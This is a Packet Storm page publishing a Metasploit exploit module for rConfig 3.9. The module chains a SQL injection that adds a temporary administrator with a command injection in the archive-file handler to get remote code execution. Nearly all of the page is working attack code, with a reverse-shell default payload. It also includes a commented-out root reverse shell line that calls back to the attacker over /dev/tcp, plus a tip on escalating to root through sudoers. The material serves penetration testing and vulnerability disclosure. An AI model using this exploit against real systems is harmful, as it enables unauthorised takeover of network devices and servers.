what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Rconfig 3.x Chained Remote Code Execution

Rconfig 3.x Chained Remote Code Execution
Posted Mar 16, 2020
Authored by Orange Cyberdefense, Jean-Pascal Thomas | Site metasploit.com

This Metasploit module takes advantage of a command injection vulnerability in the path parameter of the ajax archive file functionality within the rConfig web interface in order to execute the payload. Valid credentials for a user with administrative privileges are required . However, this module can bypass authentication via SQL injection.

tags | exploit, web, sql injection
advisories | CVE-2019-19509, CVE-2020-10220
SHA-256 | 0b63805ab8f2162cb70c5931c392c85432cadbdd98208528d5861e068261cd6c

Rconfig 3.x Chained Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Rconfig 3.x Chained Remote Code Execution',
'Description' => '
This module exploits multiple vulnerabilities in rConfig version 3.9
in order to execute arbitrary commands.
This module takes advantage of a command injection vulnerability in the
`path` parameter of the ajax archive file functionality within the rConfig web
interface in order to execute the payload.
Valid credentials for a user with administrative privileges are required.
However, this module can bypass authentication via SQLI.
This module has been successfully tested on Rconfig 3.9.3 and 3.9.4.
The steps are:
1. SQLi on /commands.inc.php allows us to add an administrative user.
2. An authenticated session is established with the newly added user
3. Command Injection on /lib/ajaxHandlers/ajaxArchiveFiles.php allows us to
execute the payload.
4. Remove the added admin user.
Tips : once you get a shell, look at the CVE-2019-19585.
You will probably get root because rConfig install script add Apache user to
sudoers with nopasswd ;-)
',
'License' => MSF_LICENSE,
'Author' =>
[
'Jean-Pascal Thomas', # @vikingfr - Discovery, exploit and Metasploit module
'Orange Cyberdefense' # Module tests - greetz : CSR-SO team (https://cyberdefense.orange.com/)
],
'References' =>
[
['CVE', '2019-19509'], # authenticated rce
['CVE', '2020-10220'], # sqli auth bypass
%w[EDB 47982],
%w[EDB 48208],
['URL', 'https://github.com/v1k1ngfr/exploits-rconfig/blob/master/rconfig_CVE-2019-19509.py'], # authenticated RCE
['URL', 'https://github.com/v1k1ngfr/exploits-rconfig/blob/master/rconfig_CVE-2020-10220.py'] # unauthenticated SQLi
],
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD,
'Targets' => [['Auto', {}]],
'Privileged' => false,
'DisclosureDate' => '2020-03-11',
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true, # HTTPS is required for the module to work because the rConfig php code handle http to https redirects
'PAYLOAD' => 'generic/shell_reverse_tcp'
},
'DefaultTarget' => 0))
register_options [
OptString.new('TARGETURI', [true, 'Base path to Rconfig', '/'])
]
end

# CHECK IF RCONFIG IS REACHABLE AND INSTALLED
def check
vprint_status 'STEP 0: Get rConfig version...'
res = send_request_cgi!(
'method' => 'GET',
'uri' => '/login.php'
)
if !res || !res.get_html_document
fail_with(Failure::Unknown, 'Could not check rConfig version')
end
if res.get_html_document.at('div[@id="footer-copyright"]').text.include? 'rConfig Version 3.9'
print_good('rConfig version 3.9 detected')
return Exploit::CheckCode::Appears
elsif res.get_html_document.at('div[@id="footer-copyright"]').text.include? 'rConfig'
print_status('rConfig detected, but not version 3.9')
return Exploit::CheckCode::Detected
end
end

# CREATE AN ADMIN USER IN RCONFIG
def create_rconfig_user(user, _password)
vprint_status 'STEP 1 : Adding a temporary admin user...'
fake_id = Rex::Text.rand_text_numeric(3)
fake_pass = Rex::Text.rand_text_alpha(10)
fake_pass_md5 = '21232f297a57a5a743894a0e4a801fc3' # hash of 'admin'
fake_userid_md5 = '6c97424dc92f14ae78f8cc13cd08308d'
userleveladmin = 9 # Administrator
user_sqli = "command ; INSERT INTO `users` (`id`,`username`,`password`,`userid`,`userlevel`,`email`,`timestamp`,`status`) VALUES (#{fake_id},'#{user}','#{fake_pass_md5}','#{fake_userid_md5}',#{userleveladmin}, '#{user}@domain.com', 1346920339, 1);--"
sqli_res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, '/commands.inc.php'),
'method' => 'GET',
'vars_get' => {
'search' => 'search',
'searchOption' => 'contains',
'searchField' => 'vuln',
'searchColumn' => user_sqli
}
)
unless sqli_res
print_warning('Failed to create user: Connection failed.')
return
end
print_good "New temporary user #{user} created"
end

# AUTHENTICATE ON RCONFIG
def login(user, pass)
vprint_status "STEP 2: Authenticating as #{user} ..."
# get session cookie (PHPSESSID)
res = send_request_cgi!(
'method' => 'GET',
'uri' => '/login.php'
)
@cookie = res.get_cookies
if @cookie.empty?
fail_with Failure::UnexpectedReply, 'Failed to retrieve cookies'
return
end
# authenticate
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/lib/crud/userprocess.php'),
'cookie' => @cookie,
'vars_post' => {
pass: pass,
user: user,
sublogin: 1
}
)
unless res
print_warning('Failed to authenticate: Connection failed.')
return
end
print_good "Authenticated as user #{user}"
end

def trigger_rce(cmd, _opts = {})
vprint_status "STEP 3: Executing the command (#{cmd})"
trigger = "`#{cmd} #`"
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/lib/ajaxHandlers/ajaxArchiveFiles.php'),
'cookie' => @cookie,
'vars_get' => {
'path' => trigger,
'ext' => 'random'
}
)
# the page hangs because of the command being executed, so we can't expect HTTP response
# unless res
# fail_with Failure::Unreachable, 'Remote Code Execution failed: Connection failed'
# return
# end
# unless res.body.include? '"success":true'
# fail_with Failure::Unknown, 'It seems that the code was not executed'
# return
# end
print_good 'Command sucessfully executed'
end

# DELETE A USER
def delete_rconfig_user(user)
vprint_status 'STEP 4 : Removing the temporary admin user...'
del_sqli = "command ; DELETE FROM `users` WHERE `username`='#{user}';--"
del_res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, '/commands.inc.php'),
'method' => 'GET',
'vars_get' => {
'search' => 'search',
'searchOption' => 'contains',
'searchField' => 'vuln',
'searchColumn' => del_sqli
}
)
unless del_res
print_warning "Removing user #{user} failed: Connection failed. Please remove it manually."
return
end
print_status "User #{user} removed successfully !"
end

def cleanup
super
delete_rconfig_user @username if @username
end

def exploit
check
@username = rand_text_alphanumeric(8..12)
@password = 'admin'
create_res = create_rconfig_user @username, @password
login(@username, @password)
tmp_txt_file = Rex::Text.rand_text_alpha(10)
tmp_zip_file = Rex::Text.rand_text_alpha(10)
# The following payload (cf. 2019-19585) can be used to get root rev shell, but some payloads failed to execute (ex : because of quotes stuffs). Too bad :-(
# trigger_rce("touch /tmp/#{tmp_txt_file}.txt;sudo zip -q /tmp/#{tmp_zip_file}.zip /tmp/#{tmp_txt_file}.txt -T -TT '/bin/sh -i>& /dev/tcp/#{datastore['LHOST']}/#{datastore['LPORT']} 0>&1 #'")
trigger_rce(payload.encoded.to_s)
end
end
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close